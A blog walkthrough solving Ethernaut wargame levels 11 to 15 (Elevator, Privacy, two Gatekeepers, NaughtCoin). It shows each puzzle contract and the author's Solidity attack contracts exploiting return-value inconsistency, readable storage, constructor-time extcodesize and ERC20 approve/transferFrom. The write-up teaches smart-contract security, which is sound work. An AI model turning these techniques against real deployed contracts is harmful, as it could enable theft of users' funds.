Solving Ethernaut - Part 3 - Levels 11 to 15

Overview

Third part of the solutions to Ethernaut. More fun levels, and a little bit harder than before.

The challenges solved in this part focus on teaching by example some basic Solidity and EVM concepts. If you solved CaptureTheEther, most of these levels will remind you of that game, and solutions are similar in many aspects.

Info

All my solutions to Ethernaut were coded some time ago, however, I had a bit more experience with Solidity than when I solved CaptureTheEther. The code still won't win any style or correctness competition, but does its job.

It's possible to see an improvement on the quality of my code. The contracts I used were not modified nor prettified for publishing, so I'm quite proud of my progress. Still there's a lot of room for even more improvements. Never stop learning and getting better at something.

The complete code for these solutions is at my Ethernaut-solutions github repo.


Level 11: Elevator


The elevator, as it is, won't reach the last floor of the building. Let's see how it can be tricked to do so.

Contract analysis

Upon inspection of the goTo(uint) function, it's easy to see that there’s a check that prevents it from setting top to true. If the first check passes, the second doesn’t. And if the first doesn’t pass, there’s no way to set the value.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4interface Building {
 5  function isLastFloor(uint) external returns (bool);
 6}
 7
 8contract Elevator {
 9  bool public top;
10  uint public floor;
11
12  function goTo(uint _floor) public {
13    Building building = Building(msg.sender);
14
15    if (! building.isLastFloor(_floor)) {
16      floor = _floor;
17      top = building.isLastFloor(floor);
18    }
19  }
20}

Vulnerability / Attack vector

Not exactly a vulnerability, the called function is expected to return always the same value.

Solution

Since we can control the isLastFloor(uint) function of our implemented contract (derived from Building), we can make it return different values on each call, and solve the level that way. First call returns false, so the if block gets executed, and the second call returns true so top becomes true.

 1contract ElevatorAttack is Building {
 2    Elevator elev;
 3    bool state;
 4    
 5    constructor(address _target) public {
 6        elev = Elevator(_target);
 7    }
 8    
 9    function attack() public {
10        elev.goTo(5);
11    }
12    
13    function isLastFloor(uint) external override returns (bool) {
14        bool out = state;
15        state = !state;
16        return out;
17    }
18}

Conclusions

The lesson here is that external contracts functions won't always return the same value on different calls, even on the same block/transaction. In this situation, if we can control the called function, we can alter the logic of the caller.


Level 12: Privacy


This level presents a contract in which the internal variables are packed by the compiler. The solution will require some analysis and knowledge of storage packing.

Contract analysis

According to the layout of state variables in storage, each slot can store up to 256 bits (32 bytes), and smaller variables can be packed into a single slot. So, the Privacy contract variables are stored as follow:

  • Slot 0: bool locked
  • Slot 1: uint256 ID
  • Slot 2: uint8 flattening, uint8 denomination, uint16 awkwardness
  • Slots 3, 4, 5: bytes32[3] data

The constructor initializes the bytes32[3] data variable with the value passed as argument. To unlock the level, the goal is to find out the bytes16 key to be passed as argument to the unlock(bytes16) function.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4contract Privacy {
 5
 6  bool public locked = true;
 7  uint256 public ID = block.timestamp;
 8  uint8 private flattening = 10;
 9  uint8 private denomination = 255;
10  uint16 private awkwardness = uint16(now);
11  bytes32[3] private data;
12
13  constructor(bytes32[3] memory _data) public {
14    data = _data;
15  }
16  
17  function unlock(bytes16 _key) public {
18    require(_key == bytes16(data[2]));
19    locked = false;
20  }
21
22  /*
23    A bunch of super advanced solidity algorithms...
24
25      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
26      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
27      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
28      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
29      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
30  */
31}

Vulnerability / Attack vector

Again, no vulnerability. Storage slots can be read by anyone.

Solution

Reading the internal transactions of the deployed contract, the secret values are revealed in those storage slots, and according to solidity documentation, the type casting from bytes32 to bytes16 results in the loss of the low order bytes.

To read the storage, any of the techniques used in prior levels can be used. So the solution for this level is to keep the higher 16 bytes of the value stored in slot 5, that is 0x0cb7dc026c219ab83c51a50a2bfb04f1.

I don't know if the value is the same for all instances, or if it's randomized upon deployment. Check your own instance.

Conclusions

Again, nothing is private in the blockchain. So many warnings have been issued already.


Level 13: Gatekeeper one


Three gatekeepers prevent you from registering as an entrant. Each one has a different requirement, so the solution is to make them happy enough not to revert the transaction.

Contract analysis

All gatekeepers are function modifiers to enter(bytes8).

  • The first one essentially requires you to call the function from a contract (recall Telephone solution)
  • The second requires that the gas left for the function is a multiple of 8191
  • The third one requires you to meet certain equalities in the key value passed as parameter.
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4import '@openzeppelin/contracts/math/SafeMath.sol';
 5
 6contract GatekeeperOne {
 7
 8  using SafeMath for uint256;
 9  address public entrant;
10
11  modifier gateOne() {
12    require(msg.sender != tx.origin);
13    _;
14  }
15
16  modifier gateTwo() {
17    require(gasleft().mod(8191) == 0);
18    _;
19  }
20
21  modifier gateThree(bytes8 _gateKey) {
22      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
23      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
24      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
25    _;
26  }
27
28  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
29    entrant = tx.origin;
30    return true;
31  }
32}

Vulnerability / Attack vector

No vulnerability, again. It's a puzzle-style level whose goal is to make the player use certain operators and functions, and understand Solidity basics.

Solution

The first gatekeeper is easily defeated, we will deploy a contract anyway.

For the third gatekeeper, the value to be passed as argument is a bytes8, but it will get interpreted as uint64, and subsequently casted to uint32 and uint16. In this case, the casts keep the lowest order bytes of the value. To decipher (or guess) the key, we can start from the last part, which requires that the last four bytes of the transaction origin address are equal to the last eight bits of the key. That makes the bytes 5 to 8 equal to zero.

The second condition of the third gatekeeper is that the lower four bits of the key are different from the whole key. This means that the bytes 8-15 have to be zero. And the last condition imposed by the keeper is the first require statement, that is redundant because it’s already met by the tx.origin condition.

The second gatekeeper is a bit trickier, the condition states that the remaining gas should be exactly divisible by 8191. To fulfill this requirement, the Remix debugger was used. The attacker contract calls the target function with a user-defined amount of gas, so to find exactly how much it spends, the function is called with a known amount (e.g. 100k gas) and debugged.

There’s an EVM opcode (GAS, 0x5A) implemented in solidity as gasleft(), that pushes to stack the remaining gas, so all I had to do was add that instruction to the GatekeeperOne contract modifier gateTwo(), and then check the value pushed to stack to know how much gas was used up to this point. The result was 254, so the final transaction to trick the second gatekeeper and solve the level has to be sent with a gas limit equal to 8191 * k + 254 (where k is any integer that makes the gas amount enough to execute the full transaction) .

 1contract GatekeeperOneAttack {
 2    
 3    using SafeMath for uint256;
 4    GatekeeperOne target;
 5
 6    constructor(address _target) public {
 7        target = GatekeeperOne(_target);
 8    }
 9
10    function attack(uint256 g) public {
11        bytes8 key = bytes8(uint64(0x0011223300000000) + uint16(msg.sender));
12        target.enter.gas(g)(key);
13    }
14}

Conclusions

Another level that digs deeper in Solidity knowledge. Most solutions to these puzzle-like levels lie directly in the compiler's documentation.


Level 14: Gatekeeper two


A new level, mostly different gatekeepers. New stuff to learn and defeat them.

Contract analysis

In a similar fashion to the previous level's gatekeepers, they are function modifiers to enter(bytes8).

  • The first one is the same as Gatekeeper One
  • The second requires that the code size of the caller is equal to 0. That is, the caller should have no code.
  • The third one requires you to meet certain logic conditions in the _gateKey value, related to the msg.sender address.
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4contract GatekeeperTwo {
 5
 6  address public entrant;
 7
 8  modifier gateOne() {
 9    require(msg.sender != tx.origin);
10    _;
11  }
12
13  modifier gateTwo() {
14    uint x;
15    assembly { x := extcodesize(caller()) }
16    require(x == 0);
17    _;
18  }
19
20  modifier gateThree(bytes8 _gateKey) {
21    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
22    _;
23  }
24
25  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
26    entrant = tx.origin;
27    return true;
28  }
29}

Vulnerability / Attack vector

Pretty much like the previous one. A puzzle-like level with no vulnerabilities to be exploited.

Solution

As said above, the first gatekeeper is the same, so that means we need to deploy a contract to attack it. We were going to do it anyway.

The second gatekeeper requires the caller’s extcodesize to be zero. This one is tricky, because having no code requires the caller not to be a contract, and that would fail the first gate check. However (and pretty much in the essence of the game) there's a solution, according to Ethereum yellowpaper - Section 7, there’s a moment where a contract has zero extcodesize: when it’s still getting constructed, that is, during the execution of the constructor.

The third gatekeeper performs a simple logic test: the gateKey parameter should be calculated in such a way that, when XORed with the last 64 bytes of the keccak256 of the sender’s address (the to-be-deployed contract), the result is all ones. We can recalculate the correct value and pass it along.

 1contract GatekeeperTwoAttack {
 2    GatekeeperTwo target;
 3    
 4    constructor(address _target) public {
 5        target = GatekeeperTwo(_target);
 6        bytes8 val = bytes8((uint64(0)-1) ^ uint64(bytes8(keccak256(abi.encodePacked(address(this))))));
 7        
 8        target.enter(val);
 9    }
10}

Conclusions

The puzzles are getting more intricate, and this opens the door to learning more concepts of Solidity and EVM in general.

In particular, these two Gatekeeper contracts reinforce the knowledge of logic and math operators, low level assembly/yul code, contract deployment logic, gas consumption and function calling, among others.


Level 15: Naught coin


A timelocked contract that prevents the owner of the tokens (the player) to transfer them for 10 years. The goal is to transfer all the tokens out of the player's address.

Contract analysis

The token implements the ERC20 standard by inheriting from OpenZeppelin's ERC20 contract. There's a timelock modifier, lockTokens() that won't allow the player to move the tokens out until 10 years have passed since the deployment of the contract.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
 5
 6 contract NaughtCoin is ERC20 {
 7
 8  // string public constant name = 'NaughtCoin';
 9  // string public constant symbol = '0x0';
10  // uint public constant decimals = 18;
11  uint public timeLock = now + 10 * 365 days;
12  uint256 public INITIAL_SUPPLY;
13  address public player;
14
15  constructor(address _player) 
16  ERC20('NaughtCoin', '0x0')
17  public {
18    player = _player;
19    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
20    // _totalSupply = INITIAL_SUPPLY;
21    // _balances[player] = INITIAL_SUPPLY;
22    _mint(player, INITIAL_SUPPLY);
23    emit Transfer(address(0), player, INITIAL_SUPPLY);
24  }
25  
26  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
27    super.transfer(_to, _value);
28  }
29
30  // Prevent the initial owner from transferring tokens until the timelock has passed
31  modifier lockTokens() {
32    if (msg.sender == player) {
33      require(now > timeLock);
34      _;
35    } else {
36     _;
37    }
38  } 
39} 

Vulnerability / Attack vector

No vulnerability. There's more than what the NaughtCoin contract shows, because of it inheriting from ERC20.

Solution

According to ERC20 specification, any token holder can approve other addresses to spend on its behalf. This is done via the approve(address, uint256) function, and then the approved address can call transferFrom(address, address, uint256) to spend allowed tokens.

The attacker contract does exactly that, but it needs approval from the player address first. This was done via Remix interface, by calling the approve(address, uint256) function from there.

 1contract NaughtCoinAttack {
 2    NaughtCoin target;
 3    
 4    constructor(address _target) public {
 5        target = NaughtCoin(_target);
 6    }
 7    
 8    function attack() public {
 9        target.transferFrom(msg.sender, address(this), target.totalSupply());
10    }
11}

Conclusions

A contract that inherits from another also inherits the implementation of the parent's functions. The ERC20 standard requires certain functions to be implemented, and by inheriting OpenZeppelin ERC20, all functions are implemented.

Posts in this Series

comments powered by Disqus